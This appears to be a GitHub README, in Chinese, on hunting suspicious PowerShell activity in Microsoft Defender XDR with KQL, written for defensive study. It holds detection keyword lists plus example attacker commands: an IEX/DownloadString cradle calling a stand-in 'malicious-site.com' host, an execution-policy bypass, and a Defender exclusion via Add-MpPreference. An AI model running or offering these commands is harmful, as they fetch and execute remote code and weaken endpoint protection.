abdinoorba/PowerShell-Threat-Hunting-Defender-XDR
GitHub: abdinoorba/PowerShell-Threat-Hunting-Defender-XDR
该项目演示了如何在 Microsoft Defender XDR 中使用 KQL 查询来狩猎和分析被攻击者滥用的可疑 PowerShell 活动。
Stars: 0 | Forks: 0
# 使用 Microsoft Defender XDR 进行 PowerShell 威胁狩猎
## 概述
本项目演示了如何在 Microsoft Defender XDR 中使用 Kusto Query Language (KQL) 来识别可疑的 PowerShell 活动,这些活动通常与恶意软件执行、Living Off The Land (LOTL) 攻击和防御规避技术相关。
目标不仅是识别可疑命令,还要理解其背后的攻击者行为。
## 为什么选择 PowerShell?
PowerShell 是一款合法的 Windows 管理工具,系统管理员使用它进行自动化、配置管理和故障排除。
由于 PowerShell 在 Windows 系统上默认安装,并提供对操作系统功能的广泛访问,因此经常被攻击者滥用。
这种类型的攻击通常被称为 Living Off The Land (LOTL),攻击者利用系统上已有的受信任工具,而不是引入新的恶意软件二进制文件。
## 狩猎查询
```
DeviceProcessEvents
| where TimeGenerated > ago(12h)
| where ProcessCommandLine has "powershell.exe"
| where ProcessCommandLine has_any (
"-enc",
"-encodedcommand",
"bypass",
"downloadstring",
"iex",
"invoke-expression"
)
| project TimeGenerated,
DeviceName,
AccountName,
InitiatingProcessFileName,
ProcessCommandLine
```
## 理解每个指标
### 编码命令 (-enc / -EncodedCommand)
攻击者经常使用 Base64 编码对 PowerShell 命令进行编码。
示例:
```
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
```
#### 为什么攻击者会使用它
* 隐藏真实命令
* 增加日志审查难度
* 规避简单的基于字符串的检测
#### 分析师调查问题
* 编码的命令解码后是什么?
* 命令是否是从互联网下载的?
* 是否执行了额外的恶意软件?
### 执行策略绕过
示例:
```
powershell.exe -ExecutionPolicy Bypass -File payload.ps1
```
#### 为什么攻击者会使用它
组织通常会限制 PowerShell 脚本执行。
Bypass 标志允许脚本即使在配置了限制的情况下也能执行。
#### 分析师调查问题
* 谁启动了脚本?
* 脚本是否经过批准?
* 在此 endpoint 上使用 bypass 是否常见?
### 下载字符串
示例:
```
(New-Object Net.WebClient).DownloadString("http://malicious-site.com/payload.ps1")
```
#### 为什么攻击者会使用它
允许直接从远程服务器下载代码。
这通常代表恶意软件交付的第一阶段。
#### 分析师调查问题
* 联系了哪个 URL?
* 下载了什么内容?
* 该域名是否已知为恶意?
### IEX (Invoke-Expression)
示例:
```
IEX ((New-Object Net.WebClient).DownloadString("http://malicious-site.com/payload.ps1"))
```
#### 为什么攻击者会使用它
下载的代码可以直接在内存中执行,而无需写入磁盘。
这减少了取证痕迹,并可以规避某些基于文件的检测。
#### 分析师调查问题
* 执行了什么命令?
* 是否建立了持久性?
* 是否衍生了额外的进程?
## 检测盲区
本项目最重要的经验之一是,没有任何单一的检测能捕获所有的攻击。
考虑以下情况:
```
Add-MpPreference -ExclusionPath C:\Temp
```
该命令修改了 Microsoft Defender 的排除项。
尽管很可疑,但它不会被上面的狩猎查询检测到,因为它不包含:
* EncodedCommand
* DownloadString
* IEX
* Bypass
这说明了为什么检测工程需要多个互补的检测。
## 扩展的狩猎查询
```
DeviceProcessEvents
| where ProcessCommandLine has "powershell"
| where ProcessCommandLine has_any (
"-enc",
"-encodedcommand",
"iex",
"invoke-expression",
"downloadstring",
"bypass",
"add-mppreference",
"set-mppreference",
"remove-mppreference"
)
```
## 关键要点
威胁狩猎不是寻找单一的恶意命令。
有效的调查需要:
* 了解攻击者的目标
* 识别可疑行为
* 关联多个 telemetry 来源
* 识别父子进程关系
* 评估上下文而不是单个命令
命令本身极少是恶意的。
周围的活动决定了它代表的是正常的管理操作还是攻击者行为。
标签:AI合规, DNS 反向解析, KQL查询, Microsoft Defender XDR, OpenCanary, PowerShell监控, 安全运营, 扫描框架, 网络信息收集